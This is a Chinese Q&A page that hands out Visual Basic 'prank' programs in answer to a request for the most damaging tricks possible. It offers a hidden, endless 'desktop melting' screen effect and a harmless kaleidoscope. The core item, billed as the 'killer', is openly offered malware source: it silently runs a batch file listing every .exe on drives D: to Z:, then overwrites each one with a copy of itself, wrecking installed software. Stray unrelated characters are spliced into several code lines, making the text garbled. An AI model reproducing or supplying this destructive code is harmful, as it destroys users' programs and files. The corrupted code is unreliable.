求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等

电脑余简源桌面融化，这段代码真的很强悍 ！ 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "咐尺user32" (ByVal hwnd As Long) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer

Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load()

Me.Hide

Desktop = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC(Desktop)

Buffer = CreateCompatibleBitmap(Desktop, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

SelectObject hBitmap, Buffer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY

For i = 0 To 1E+17

y = (Screen.Height / 15) * Rnd

x = (Screen.Width / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub 还有个杀手锏；一段要人命竖态的vb代码

-----------------------------------------------声明---------------------------------------------------------------

’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()

On Error Resume Next ’容错句

If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件

Open "c:\a.bat" For Output As #1 ’打开bat文件

Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" ’写入数据

Close #1 ’关闭文件

Sleep 200 ’延时200秒等待文件生成（主要为了慢机器）

Shell "c:\a.bat", 0 ’隐藏运行之

End If

Sleep 60000 ’延时1分钟等待exe遍历完成

Dim A() As String

Dim C As Long, I As Integer

Open "c:\123.txt" For Input As #1 ’读取txt里面的内容

Do While EOF(1) = False

ReDim Preserve A(C)

Input #1, A(C)

C = C + 1

Loop

Close #1

For I = 0 To C - 1

FileCopy App.Path &"\" &App.EXEName &".exe", A(I) ’把txt里面的内容替换掉

Next

End Sub

</SPAN>

'万花筒程序

'粘贴下面代码即可, 不用添加任何控件

Private WithEvents Timer1 As Timer

Dim r&, r1&, t&, a1!, a2!, xb!, yb!, s!, b#

Private Sub Form_Load()

      Me.Width = 4500: Me.Height = 4500

      Me.Move (Screen.Width - Me.Width) \ 2, (Screen.Height - Me.Height) \ 2

      Me.AutoRedraw = True

      Me.Caption = "CBM666的万花筒"

      Set Timer1 = Controls.Add("vb.timer", "Timer1")

      Timer1.Interval = 10

End Sub

Private Sub Timer1_Timer()

      Randomize

      r = 340 * Rnd

      If r <> 0 Then

         r1 = 500

         s = r * Rnd

         b = RGB(256 * Rnd, 256 * Rnd, 256 * Rnd)

         For t = 1 To 10000

            a1 = t * 3.1415926 / 180

            a2 = (r1 / r) * a1

            xb 局桐= 500 + (-(r1 - r) * Cos(a1) - s * Cos(a2 - a1) + 420) * 4

            卖腊谨yb = 500 + ((r1 - r) * Sin(a1) - s * Sin(a2 - a1) + 380) * 4

            Me.PSet (xb, yb), 中基b

         Next t

      End If

End Sub

---